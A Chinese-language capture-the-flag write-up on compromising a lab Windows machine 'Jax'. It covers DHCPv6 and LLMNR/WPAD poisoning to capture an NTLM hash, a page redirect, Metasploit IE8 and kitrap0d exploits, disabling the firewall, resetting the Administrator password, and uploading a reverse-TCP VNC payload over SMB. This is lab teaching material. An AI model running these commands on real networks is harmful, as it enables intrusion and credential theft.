导语:一次CTF夺旗战的总结
机器名为“Jax”的IP地址:10.42.0.152
$ nmap -sV 10.42.0.153 PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 7.5
这台机器只开放了从外部可见的IIS服务。使用Seclists字典里几乎所有的文件路径模糊测试后,没有任何新的发现。
如果我们打开Wireshark,则会出现一些Jax广播的通信流量,例如LLMNR,NBT-NS和DHCPv6请求。
使用Responder工具,我们可以尝试发起LLMNR和NBT-NS中毒请求,但是这也不会为我们获得任何SMB或HTTP连接。
我们尝试使用dnsmasq挂载一个DHCPv6服务,并在我们的机器上启用ip转发。
$ ifconfig tap0 inet6 add 1234::1/64 $ cat dnsmasq.conf bogus-priv interface=tap0 dhcp-range=::100,::1ff,constructor:em1 enable-ra dhcp-option=option6:dns-server,[1234::1] log-queries log-dhcp $ sysctl -w net.ipv6.conf.all.forwarding=1 $ sysctl -w net.ipv4.ip_forward=1 $ iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
在不到一分钟的时间内,Jax这台机器发送了一个DHCPv6请求,并分配给了1234 :: 26b这个ip。
需要等待很长一段时间后才会出现一个针对WPAD的LLMNR广播请求流量,这可以使我们能够获得Ihacklabs这个用户的 NetNTLMv2哈希,并且从那个时候可以获取所有的HTTP流量。破解这个哈希后得到的结果是一个空的密码。
在Wireshark截获的流量中,在一个HTTP流量中出现了比较特殊的请求
http://10.42.0.153/wordpress/cepheus.html
虽然我以这种方式发现了这个HTTP请求,但是要比在Jax这台机器上执行ARP中毒攻击来拦截所有的流量要容易得多。
文件cepheus.html位于我们之前已经获得访问权限的Sammy机器中,但在无法访问此机器的情况下,响应内容可能已经使用WPAD代理或ARP中毒进行了修改。
如果我们查看Sammy中的Apache日志,我们会看到每5分钟就会发出一次请求,另外User-Agent对应于Windows 7中的Internet Explorer 8.
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
我们修改文件来执行重定向将请求转发到我们的机器上。
<meta http-equiv="refresh" content="0;URL='http://10.41.0.201/'" />
在metasploit中有一些针对Internet Explorer 8浏览器的漏洞,其中有很多需要在目标机器上安装Java,所以我们可以放弃这类攻击向量。最适合我们场景的应该是“MS11-003 Microsoft Internet Explorer CSS递归导入UAF漏洞”,如果你看过这个漏洞的描述,你会发现这个漏洞需要.NET 2.0.50727这个版本,该版本与User-Agent中的是一样的。
描述: 这个模块利用了微软的HTML引擎(mshtml)内的内存损坏漏洞。在解析包含递归CSS导入的HTML页面时,将删除一个c++对象并随后重用。这导致了任意代码的执行。这个Exp利用了堆喷技术并组合使用.NET 2.0的mscorie.dll模块绕过DEP和ASLR。此模块的选项没有加入ASLR。因此,该模块应该在安装了.net 2.0.50727的所有Windows版本上都是可靠的。
漏洞利用
use exploit/windows/browser/ms11_003_ie_css_import
一旦对方访问了我们修改后的页面,我们就可以读取到Ihacklabs这个用户桌面上的Flag。
权限提升
use exploit/windows/local/ms10_015_kitrap0d
禁用防火墙
我们禁用防火墙可以使我们能够远程访问该机器。
netsh firewall set opmode mode=disable
激活 “管理员” 用户
激活管理员用户并更改密码。
net user Administrator Patatas123 /active:yes
使用winexe访问
现在我们不会依赖漏洞来访问机器了,以免丢失连接。
启用RDP
试图启用RDP服务,但由于它是Windows Home许可证,所以此服务不可用。
由VNC访问
我们生成一个可执行文件并通过SMB上传。一旦我们上传这个可执行文件,我们执行它后就可以在Jax这台机器中获得一个VNC会话。
$ msfvenom -p windows/vncinject/reverse_tcp LHOST=10.42.0.201 LPORT=4445 -f exe > vnc.exe $ smbclient '//10.42.0.152/C$' -U 'administrator%Patatas123' put vnc.exe
VirtualBox
利用测试非常简单,包括了使用VirtualBox访问虚拟机并修改grub来获取控制台读取Flag。
linux .... init=/bin/bash
Jax机器的一些信息